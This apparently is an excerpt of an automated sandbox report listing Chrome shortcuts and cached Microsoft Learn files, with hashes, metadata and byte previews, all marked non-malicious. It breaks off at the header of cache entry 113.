.F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Wed Nov 20 11:27:46 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2681
Entropy (8bit):	3.9757260537341335
Encrypted:	false
SSDEEP:	48:8S0d3TvjKHRidAKZdA1UehBiZUk1W1qehgy+C:8Scn89Ay
MD5:	9E7F785E824B32955119844CA82D46AF
SHA1:	911E3552014A977275A19C208CEFB9EE31A110E3
SHA-256:	1C20AF7616ACD001EB623B2141516C1AEE212506A4EC3324FB6D393284893C70
SHA-512:	17F64BD5FD754366A5829D302F55CC09D4E64B241C73BAE03F340724D0276715A216254C26C668D6A155B00B838E0725E972E5257C0E7A886DB1812673B8039B
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,........G;..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....EW)C..PROGRA~1..t......O.ItYvc....B...............J.....V...P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VtYvc....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VtYvc....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VtYvc..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VtYwc...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i..............i.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Wed Nov 20 11:27:45 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2683
Entropy (8bit):	3.986434405359659
Encrypted:	false
SSDEEP:	48:8X0d3TvjKHRidAKZdA1duTrehOuTbbiZUk5OjqehOuTbSy+yT+:8Xcn5TYTbxWOvTbSy7T
MD5:	94A989FD5958D775AA0126F919893115
SHA1:	E2DF4E49A87084D1E0893BB2C71BD56D61E9247C
SHA-256:	DB49570750871A9E5DE240B4739DC8D163E9C8C9E0F6FBB61720EBAA666F05AE
SHA-512:	453681162D1B7244EC7926FA5DF9B34AE0DFFECFF9FB6FB9216C0F7CA3EFA4627A1A329950792CFFCBD3C787F876CD7A196AE84FEA90F95BBC326D00D25E7C2B
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,....J.\|.G;..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....EW)C..PROGRA~1..t......O.ItYvc....B...............J.....V...P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VtYvc....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VtYvc....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VtYvc..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VtYwc...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i..............i.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

Chrome Cache Entry: 100

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	18477
Entropy (8bit):	5.147347768532056
Encrypted:	false
SSDEEP:	384:cF3MGvRvqhjNLN1RlX+Vqn3wj2pC33qr3h3x7Z04519u2/8Xx7kuFg/F3Bo3h16z:63MGpvqhj/rlOVqnACpK3o3hhl0OU2/x
MD5:	9A6B01877BAAC986FE1FBF4CAA95E7C7
SHA1:	A3227894EACEB2177EEE7CF66A693A9B4C0971FE
SHA-256:	12051CF7967A2E3F39971EC7F48D1892EB7138F7D1F7E5A3407D63E257EBE7AC
SHA-512:	5DBDA31E67FE480385283A63F8C2D0CE5E1B2A04A23917F65F0EC6867A9D95C93E4B50807D42D65718EF01588AA523FE791A0A1BD0663BB5DC9BED5E43995AB2
Malicious:	false
Reputation:	moderate, very likely benign file
URL:	https://learn.microsoft.com/en-us/banners/index.json
Preview:	{"banners":[{"content":{"text":"You may experience reduced functionality with empty pages and broken links. Development is in progress to improve your experience."},"dismissable":false,"location":"sectional","scope":{"accessLevels":["isolated"],"endDate":"2030-01-01T00:00:00-00:00","paths":["/samples/browse/","/lifecycle/products/","/dotnet/api/","/javascript/api/","/java/api/","/powershell/module/","/python/api/","/rest/api/","/assessments/"],"startDate":"2020-10-01T05:00:00-04:00"},"uid":"development-in-progress-isolated"},{"content":{"link":{"href":"/en-us/answers/questions/1657059/the-subscription-is-not-allowed-to-create-or-updat","title":"View discussion"},"text":"App Service deployment: subscription \u0027xxxxxxxx\u0027 is not allowed to create or update the server farm."},"dismissable":true,"location":"sectional","scope":{"accessLevels":["online"],"endDate":"2024-05-24T07:34:00.000Z","paths":["/answers/tags/436/azure-app-service"],"startDate":"2024-04-22T07:34:00.000Z"},"uid":"

Chrome Cache Entry: 101

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 533 x 478, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	15427
Entropy (8bit):	7.784472070227724
Encrypted:	false
SSDEEP:	384:CKKdvwj3SJMpKKKKKKKKikCyKwqHILyPGQV4ykihKKKKKKKCm:CKKdvMMgKKKKKKKKiqB3yPVXkihKKKKI
MD5:	3062488F9D119C0D79448BE06ED140D8
SHA1:	8A148951C894FC9E968D3E46589A2E978267650E
SHA-256:	C47A383DE6DD60149B37DD24825D42D83CB48BE0ED094E3FC3B228D0A7BB9332
SHA-512:	00BBA6BCBFBF44B977129594A47F732809DCE7D4E2D22D050338E4EEA91FCC02A9B333C45EEB4C9024DF076CBDA0B46B621BF48309C0D037D19BBEAE0367F5ED
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/framework/install/media/application-not-started/repair-tool-recommended-changes.png
Preview:	.PNG........IHDR.............,#......sRGB.........gAMA......a.....pHYs..........o.d..;.IDATx^..].u.Y..M....B.X...".......@.ZzSys..,H{.Rz!... .......WM.IN..9n..I....g...p<P.0-....\|...X..s...Z.Y{....w..5.._s..x...E.......... ..................... ..................{....2. ...`.$h.......)....,T-x.5......,.."..(.A.......>.. ...`......4..G.\|.....,T-..'. ...`....]........?~.....A...pAP...\.T..........A...pAP...\.T..........A...pAP...\.T..........A...pAP...\.}P../}....TJ...'.O...'?......XH...K..>.b..K/t...o.......T.._.E.....q.$.x..qJ......mo...ww.}.{....W..._...._.^z...........(^x..C..P.../.........U..]../u.....w..{.O.N..o.l........_.^...2.....*....<...iP.W...o......]..+.?}c...t!.....p.=..._x..._yo....?....~u.c?.c1'.....{.^.}.S...5.yMx./.>.lwqq.}.....g..g1wZ..%......h.i[..%ul.&..U.k..";7-.9.6...s..s..0.......}.s..?...c..X...\|..........>.x..o.?.?..{........n..o....]?....Ej..yuu5...A.}....5...^...f........s.qJ..SYF.V...'..q.......T..'..z.....

Chrome Cache Entry: 102

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (52717), with no line terminators
Category:	dropped
Size (bytes):	52717
Entropy (8bit):	5.462668685745912
Encrypted:	false
SSDEEP:	1536:tjspYRrxlhd0fq3agV3IcgPPPI3r7DAQHCloIB3Tj7xHw:tjZLCtxQ
MD5:	413FCC759CC19821B61B6941808B29B5
SHA1:	1AD23B8A202043539C20681B1B3E9F3BC5D55133
SHA-256:	DAF7759FEDD9AF6C4D7E374B0D056547AE7CB245EC24A1C4ACF02932F30DC536
SHA-512:	E9BF8A74FEF494990AAFD15A0F21E0398DC28B4939C8F9F8AA1F3FFBD18056C8D1AB282B081F5C56F0928C48E30E768F7E347929304B55547F9CA8C1AABD80B8
Malicious:	false
Preview:	var WcpConsent;!function(){var e={229:function(e){window,e.exports=function(e){var t={};function o(n){if(t[n])return t[n].exports;var r=t[n]={i:n,l:!1,exports:{}};return e[n].call(r.exports,r,r.exports,o),r.l=!0,r.exports}return o.m=e,o.c=t,o.d=function(e,t,n){o.o(e,t)\|\|Object.defineProperty(e,t,{enumerable:!0,get:n})},o.r=function(e){"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(e,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(e,"__esModule",{value:!0})},o.t=function(e,t){if(1&t&&(e=o(e)),8&t)return e;if(4&t&&"object"==typeof e&&e&&e.__esModule)return e;var n=Object.create(null);if(o.r(n),Object.defineProperty(n,"default",{enumerable:!0,value:e}),2&t&&"string"!=typeof e)for(var r in e)o.d(n,r,function(t){return e[t]}.bind(null,r));return n},o.n=function(e){var t=e&&e.__esModule?function(){return e.default}:function(){return e};return o.d(t,"a",t),t},o.o=function(e,t){return Object.prototype.hasOwnProperty.call(e,t)},o.p="",o(o.s=3)}([function(e,t,o)

Chrome Cache Entry: 103

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	1432
Entropy (8bit):	4.986131881931089
Encrypted:	false
SSDEEP:	24:TGAcSRrEV4YUmjiqIWD5bfD9yRSmkYR/stZLKvVqXRRlAfr6VXBAuU:Ti4IV4YUmjiqr9bfskAmZTXGfSXqh
MD5:	6B8763B76F400DC480450FD69072F215
SHA1:	6932907906AFCF8EAFA22154D8478106521BC9EE
SHA-256:	3FB84D357F0C9A66100570EDD62A04D0574C45E8A5209A3E6870FF22AF839DFC
SHA-512:	8A07EBB806A0BA8EF54B463BD6AF37C77A10C1FA38A57128FD90FCB2C16DF71CE697D4FE65C623E5C6054C5715975831C36861D5574F59DF28836D9BC2B0BC22
Malicious:	false
URL:	https://learn.microsoft.com/static/assets/0.4.028726178/global/deprecation.js
Preview:	// ES5 script for back compat with unsupported browsers..!(function () {..'use strict';..// Keep in sync with environment/browser.ts..var supportedBrowser =...typeof Blob === 'function' &&...typeof PerformanceObserver === 'function' &&...typeof Intl === 'object' &&...typeof MutationObserver === 'function' &&...typeof URLSearchParams === 'function' &&...typeof WebSocket === 'function' &&...typeof IntersectionObserver === 'function' &&...typeof queueMicrotask === 'function' &&...typeof TextEncoder === 'function' &&...typeof TextDecoder === 'function' &&...typeof customElements === 'object' &&...typeof HTMLDetailsElement === 'function' &&...typeof AbortController === 'function' &&...typeof AbortSignal === 'function' &&...'entries' in FormData.prototype &&...'toggleAttribute' in Element.prototype &&...'replaceChildren' in Element.prototype &&...// ES2019...'fromEntries' in Object &&...'flatMap' in Array.prototype &&...'trimEnd' in String.prototype &&...// ES2020...'allSettled' in Promise &

Chrome Cache Entry: 104

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (52717), with no line terminators
Category:	downloaded
Size (bytes):	52717
Entropy (8bit):	5.462668685745912
Encrypted:	false
SSDEEP:	1536:tjspYRrxlhd0fq3agV3IcgPPPI3r7DAQHCloIB3Tj7xHw:tjZLCtxQ
MD5:	413FCC759CC19821B61B6941808B29B5
SHA1:	1AD23B8A202043539C20681B1B3E9F3BC5D55133
SHA-256:	DAF7759FEDD9AF6C4D7E374B0D056547AE7CB245EC24A1C4ACF02932F30DC536
SHA-512:	E9BF8A74FEF494990AAFD15A0F21E0398DC28B4939C8F9F8AA1F3FFBD18056C8D1AB282B081F5C56F0928C48E30E768F7E347929304B55547F9CA8C1AABD80B8
Malicious:	false
URL:	https://wcpstatic.microsoft.com/mscc/lib/v2/wcp-consent.js
Preview:	var WcpConsent;!function(){var e={229:function(e){window,e.exports=function(e){var t={};function o(n){if(t[n])return t[n].exports;var r=t[n]={i:n,l:!1,exports:{}};return e[n].call(r.exports,r,r.exports,o),r.l=!0,r.exports}return o.m=e,o.c=t,o.d=function(e,t,n){o.o(e,t)\|\|Object.defineProperty(e,t,{enumerable:!0,get:n})},o.r=function(e){"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(e,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(e,"__esModule",{value:!0})},o.t=function(e,t){if(1&t&&(e=o(e)),8&t)return e;if(4&t&&"object"==typeof e&&e&&e.__esModule)return e;var n=Object.create(null);if(o.r(n),Object.defineProperty(n,"default",{enumerable:!0,value:e}),2&t&&"string"!=typeof e)for(var r in e)o.d(n,r,function(t){return e[t]}.bind(null,r));return n},o.n=function(e){var t=e&&e.__esModule?function(){return e.default}:function(){return e};return o.d(t,"a",t),t},o.o=function(e,t){return Object.prototype.hasOwnProperty.call(e,t)},o.p="",o(o.s=3)}([function(e,t,o)

Chrome Cache Entry: 105

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	exported SGML document, ASCII text, with very long lines (65536), with no line terminators
Category:	downloaded
Size (bytes):	1173007
Entropy (8bit):	5.503893944397598
Encrypted:	false
SSDEEP:	24576:VMga+4IVzOjS1Jho1WXQFjTEr39/jHXzT:VMcVzOjS1Jho1WXQar39/bXzT
MD5:	2E00D51C98DBB338E81054F240E1DEB2
SHA1:	D33BAC6B041064AE4330DCC2D958EBE4C28EBE58
SHA-256:	300480069078B5892D2363A2B65E2DFBBF30FE5C80F83EDBFECF4610FD093862
SHA-512:	B6268D980CE9CB729C82DBA22F04FD592952B2A1AAB43079CA5330C68A86E72B0D232CE4070DB893A5054EE5C68325C92C9F1A33F868D61EBB35129E74FC7EF9
Malicious:	false
URL:	https://learn.microsoft.com/static/third-party/MathJax/3.2.2/tex-mml-chtml.js
Preview:	(function(){"use strict";var __webpack_modules__={351:function(t,e,r){var n,o=this&&this.__extends\|\|(n=function(t,e){return n=Object.setPrototypeOf\|\|{__proto__:[]}instanceof Array&&function(t,e){t.__proto__=e}\|\|function(t,e){for(var r in e)Object.prototype.hasOwnProperty.call(e,r)&&(t[r]=e[r])},n(t,e)},function(t,e){if("function"!=typeof e&&null!==e)throw new TypeError("Class extends value "+String(e)+" is not a constructor or null");function r(){this.constructor=t}n(t,e),t.prototype=null===e?Object.create(e):(r.prototype=e.prototype,new r)}),i=this&&this.__assign\|\|function(){return i=Object.assign\|\|function(t){for(var e,r=1,n=arguments.length;r<n;r++)for(var o in e=arguments[r])Object.prototype.hasOwnProperty.call(e,o)&&(t[o]=e[o]);return t},i.apply(this,arguments)},s=this&&this.__read\|\|function(t,e){var r="function"==typeof Symbol&&t[Symbol.iterator];if(!r)return t;var n,o,i=r.call(t),s=[];try{for(;(void 0===e\|\|e-- >0)&&!(n=i.next()).done;)s.push(n.value)}catch(t){o={error:t}}finally

Chrome Cache Entry: 106

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, progressive, precision 8, 1301x300, components 3
Category:	dropped
Size (bytes):	33370
Entropy (8bit):	7.973675198531228
Encrypted:	false
SSDEEP:	768:ykeIpO37gQNPfG0sxFrlSvg0EliJBectySxPMmPOGTeou78:ykX0DP+TFgg3iJNyyfPO9N78
MD5:	6E78EE324E008296108BFCDECD77E318
SHA1:	F7C39EE02C65BCEB2C66AD2D7F45523FEB5AD156
SHA-256:	EB7A4FF0F8ED4C8A95B2183968B5A59F4058B177F580AE2D2BEF4595B6F6E092
SHA-512:	BCFFF936BCC46AB4120690CFF3AF93491080E13084EA2BCD8BCE1A2470EA86EB007D695AEF23B73E0B84CB3C7FBF351D025BE47EC5D232AB613A420074F8A448
Malicious:	false
Preview:	......JFIF..........................................................) .. )/'%'/9339GDG]]}............................................) .. )/'%'/9339GDG]]}......,....!..........6.....................................................................S..d+!XYd..Hb..1..IR.BA0.+!....$C...@I..bU.BH%.1K..A...%...1h.3.,..+0F!Z@....`..%!.o...._]..=......J./Uz.k..._m..}..,s.lV.ED...J...,..b.........Y....u...N..g......A.$"3!h.~`>.....d+.,.a).Rb.I...D,."...IXJ..$.A$BU...bA,.`Z.b..,c...KFf.0.B;.f..U.C ..V.X,e.,1t}.....k.:R..b.l....mt.....#..W...iY..d..#.HU$..1...GW%..d]..-.x.:.......&...o.......(h.+.)h..x.?.B....,.D$.0.R.Y.%.."B#E$.$..!..K)0.....X.X.,.1..3BHbAxX.....R.]...1..(..`..VX.2..L.s.......L....]xVU^..Q.v>.I......7I.fJ....+vJ.T0V..z.]....}.J..A...,.~?...+....]...y.\|. .H..fFh..l.?.....Yd.IHJ.V...K..F....IS.H...%..K....X.....,C...f..F..$...+..8WdV!]..,.U..p!.A..\|Vw.x_I.,$!!...i...2..7.l_...'....}.q..{..z.F........vm/.V.........9..F..dh..;..$..BT.G0O.G.......B.$RJ.Z,,.0%..

Chrome Cache Entry: 107

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 533 x 478, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	13339
Entropy (8bit):	7.683569563478597
Encrypted:	false
SSDEEP:	192:zjSKAj04ndWb6OuzZjk6TsEaJS0/bJur2Gz4Imm3MhE4NfM:zutfW69XTspsG3G0TfhEQM
MD5:	512625CF8F40021445D74253DC7C28C0
SHA1:	F6B27CE0F7D4E48E34FDDCA8A96337F07CFFE730
SHA-256:	1D4DCEE8511D5371FEC911660D6049782E12901C662B409A5C675772E9B87369
SHA-512:	AE02319D03884D758A86C286B6F593BDFFD067885D56D82EEB8215FDCB41637C7BB9109039E7FBC93AD246D030C368FB285B3161976ED485ABC5A8DF6DF9A38C
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/framework/install/media/application-not-started/repair-tool-changes-complete.png
Preview:	.PNG........IHDR.............,#......sRGB.........gAMA......a.....pHYs..........o.d..3.IDATx^..].5Y...C.$..tH .NF.I&A0..;.r.fF.#..!7...'..3.0.../..s....."!.y...~....4....om.g.3.BTP......j..g.zVU....u...a.Z..j..U....y......$.....I...pAR...\.T....$.....I...pAR...\.T..p....5O>.d...}Rg.$....@.4....fb1.o.I...7..<.P.....n0.D.P.....n..L.P.....n8.......P.~......n(+..'. ......J.vM,H......W...h.T....$.....I...pAR...\.T....$.....I...pAR...\.T....$.....I...pAR...\.T....$......'....w....g....\|../5_.......T...~.y.'.'.\|...W..[...C.)......\|.[.[WK...w...w..y.{..\|.#.n>...5....5...h>..O6O>.Xx....o.B........g?.........~....?o...w.......}..-_k^........l....\|.D.TH.....o..B'..(.W-%...?...W.......E?h..........~.......?...~,..}...o^...5ox..bI.mo{[s.}.5.<.L.......<......Y.W......K..Q._...Iu...2...e)d]4.}Y..............k.%k..s.'..L(..o4...g...z............N.X.....W.O.^.4.....7......i~._7..~,bI......3.0RRq..\|.Mk..?.{.K_...t.........SYG.W^#).N^..._W...(.8.7.....W....7...m

Chrome Cache Entry: 108

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows icon resource - 6 icons, -128x-128, 16 colors, 72x72, 16 colors
Category:	downloaded
Size (bytes):	17174
Entropy (8bit):	2.9129715116732746
Encrypted:	false
SSDEEP:	24:QSNTmTFxg4lyyyyyyyyyyyyyio7eeeeeeeeekzgsLsLsLsLsLsQZp:nfgyyyyyyyyyyyyynzQQQQQO
MD5:	12E3DAC858061D088023B2BD48E2FA96
SHA1:	E08CE1A144ECEAE0C3C2EA7A9D6FBC5658F24CE5
SHA-256:	90CDAF487716184E4034000935C605D1633926D348116D198F355A98B8C6CD21
SHA-512:	C5030C55A855E7A9E20E22F4C70BF1E0F3C558A9B7D501CFAB6992AC2656AE5E41B050CCAC541EFA55F9603E0D349B247EB4912EE169D44044271789C719CD01
Malicious:	false
URL:	https://learn.microsoft.com/favicon.ico
Preview:	..............h(..f...HH...........(..00......h....6.. ...........=...............@..........(....A..(....................(....................................."P.........................................."""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333""""""""""""""""""""""""""

Chrome Cache Entry: 109

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (46884)
Category:	downloaded
Size (bytes):	1817143
Entropy (8bit):	5.501007973622959
Encrypted:	false
SSDEEP:	24576:aLX8PHFluFxBSB1DkCXWjfz8gEPPXL/tie:auHFluFxBSB1DkCXWjfz7EPPXztH
MD5:	F57E274AE8E8889C7516D3E53E3EB026
SHA1:	F8D21465C0C19051474BE6A4A681FA0B0D3FCC0C
SHA-256:	2A2198DDBDAEDD1E968C0A1A45F800765AAE703675E419E46F6E51E3E9729D01
SHA-512:	9A9B42F70E09D821B799B92CB6AC981236FCF190F0A467CA7F7D382E3BCA1BC1D71673D37CD7426499D24DFBC0B7A6D10676C0E3FB2B0292249A5ABAB78F23F4
Malicious:	false
URL:	https://learn.microsoft.com/static/assets/0.4.028726178/scripts/en-us/index-docs.js
Preview:	"use strict";(()=>{var hve=Object.create;var _T=Object.defineProperty;var E2=Object.getOwnPropertyDescriptor;var bve=Object.getOwnPropertyNames;var _ve=Object.getPrototypeOf,vve=Object.prototype.hasOwnProperty;var yve=(e,t,o)=>t in e?_T(e,t,{enumerable:!0,configurable:!0,writable:!0,value:o}):e[t]=o;var Ie=(e,t)=>()=>(t\|\|e((t={exports:{}}).exports,t),t.exports);var xve=(e,t,o,n)=>{if(t&&typeof t=="object"\|\|typeof t=="function")for(let r of bve(t))!vve.call(e,r)&&r!==o&&_T(e,r,{get:()=>t[r],enumerable:!(n=E2(t,r))\|\|n.enumerable});return e};var Ya=(e,t,o)=>(o=e!=null?hve(_ve(e)):{},xve(t\|\|!e\|\|!e.__esModule?_T(o,"default",{value:e,enumerable:!0}):o,e));var U=(e,t,o,n)=>{for(var r=n>1?void 0:n?E2(t,o):t,s=e.length-1,i;s>=0;s--)(i=e[s])&&(r=(n?i(t,o,r):i(r))\|\|r);return n&&r&&_T(t,o,r),r};var ji=(e,t,o)=>(yve(e,typeof t!="symbol"?t+"":t,o),o),yR=(e,t,o)=>{if(!t.has(e))throw TypeError("Cannot "+o)};var wt=(e,t,o)=>(yR(e,t,"read from private field"),o?o.call(e):t.get(e)),Bo=(e,t,o)=>{if(t.has(

Chrome Cache Entry: 110

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	5644
Entropy (8bit):	4.785769732002188
Encrypted:	false
SSDEEP:	96:ogVOjPW7cI3aDNjExAjfWQpL0dpwmWMv7AD8RevyvRJNjyZPtJ27RlhiewZjMeZf:og5cUaDNjESLWQN0dpwm9+6DlUu7lYjX
MD5:	B5885C991E30238110973653F2408300
SHA1:	39B0A79D951F8254E21821134E047C76F57AD2A8
SHA-256:	085BF5AE32E6F7F1299CA79248B0CB67EBD31566728A69F4466E1659C004732E
SHA-512:	6BEC209D933C7A1065047637F550B7A36809D835938C04851A3B09DF644BD3EC85A2CE30F73FCFB709FE7AF3453799B2EB76702D0AB2BE067CD07D2EC03537C0
Malicious:	false
Preview:	{"brandLink":{"biName":"learn","displayName":"Learn","href":"/"},"featuredContent":[{"biName":"1-microsoft-learn-for-organizations","description":"Access curated resources to upskill your team and close skills gaps.","href":"/training/organizations/","supertitle":"Microsoft Learn for Organizations","title":"Boost your team\u0027s technical skills"}],"metadata":{"git_commit_id":"dab49ca79cb372010aeaec5e99463f6cec8df000"},"navCategories":[{"biName":"1-discover","panel":{"panelContent":[{"biName":"1-documentation","componentType":"header-panel-card","description":"In-depth articles on Microsoft developer tools and technologies","href":"/docs/","title":"Documentation"},{"biName":"2-training","componentType":"header-panel-card","description":"Personalized learning paths and courses","href":"/training/","title":"Training"},{"biName":"3-credentials","componentType":"header-panel-card","description":"Globally recognized, industry-endorsed credentials","href":"/credentials/","title":"Credential

Chrome Cache Entry: 111

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows icon resource - 6 icons, -128x-128, 16 colors, 72x72, 16 colors
Category:	dropped
Size (bytes):	17174
Entropy (8bit):	2.9129715116732746
Encrypted:	false
SSDEEP:	24:QSNTmTFxg4lyyyyyyyyyyyyyio7eeeeeeeeekzgsLsLsLsLsLsQZp:nfgyyyyyyyyyyyyynzQQQQQO
MD5:	12E3DAC858061D088023B2BD48E2FA96
SHA1:	E08CE1A144ECEAE0C3C2EA7A9D6FBC5658F24CE5
SHA-256:	90CDAF487716184E4034000935C605D1633926D348116D198F355A98B8C6CD21
SHA-512:	C5030C55A855E7A9E20E22F4C70BF1E0F3C558A9B7D501CFAB6992AC2656AE5E41B050CCAC541EFA55F9603E0D349B247EB4912EE169D44044271789C719CD01
Malicious:	false
Preview:	..............h(..f...HH...........(..00......h....6.. ...........=...............@..........(....A..(....................(....................................."P.........................................."""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333""""""""""""""""""""""""""

Chrome Cache Entry: 112

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 658 x 480, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	13842
Entropy (8bit):	7.802399161550213
Encrypted:	false
SSDEEP:	192:NLNf+jBQsDHg7av3EEondO8PuRu2mIYXEIiDm42NpsHFMHfgnJ4K2DVwv:NLt+1jDmY+ndXwjLUpiDwpzfwoDVk
MD5:	F6EC97C43480D41695065AD55A97B382
SHA1:	D9C3D0895A5ED1A3951B8774B519B8217F0A54C5
SHA-256:	07A599FAB1E66BABC430E5FED3029F25FF3F4EA2DD0EC8968FFBA71EF1872F68
SHA-512:	22462763178409D60609761A2AF734F97B35B9A818EC1FD9046AFAB489AAD83CE34896EE8586EFE402EA7739ECF088BC2DB5C1C8E4FB39E6A0FC5B3ADC6B4A9B
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/framework/install/media/application-not-started/install-3-5.png
Preview:	.PNG........IHDR................1....sRGB.........gAMA......a.....pHYs..........o.d..5.IDATx^..[.,.]...../<.!.B(/y..).F\r...!(.H..a ..B.~..A..KXA.M...6..8...!1....l./.X.1....2.`.y"l..R...V.....{...}._gWW.Z.VUw.N...U..P@..... ..@.A...".$..E.I.........$..("H..PD..... ..p....U.}.{.....l..A.....A........s.......D.0...@....E..x........L. /.".A.....$...Y."...%.I..["../.&.I..[`.0..IA.........p4.I.........$..("H..PD..... ..@.A...".$..E.I.........$..("H..PD..... ..@.A...".$..E.>H...O.................?.~.......].7.....a?....(H....m.G..G..a.P..?yo......f?...o. .B.....mo{[....:9<].....7.....a.....S..Cd.5,.R....#....>......._g.....Wo\|.....z.g.........w.T...]x.>.....y(.........6....[..px...U....~.~hu...}H.......~.L... ....r...iY.$..Id..Ax"../....._..U....OTo\|.Mh.km..A.k..k....n.C`\|._\=...o...a.e.. ...&.A2..k.. ....X.+...C..P....y..>.{._..(H....8(.?...w.}M.........:s_!.m.........BY..T..z.5{.W.~..6.....F....bq....m.....?.......v....o..o...ki...iX.$......\]V...V...

Chrome Cache Entry: 113

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (33148), with no line terminators
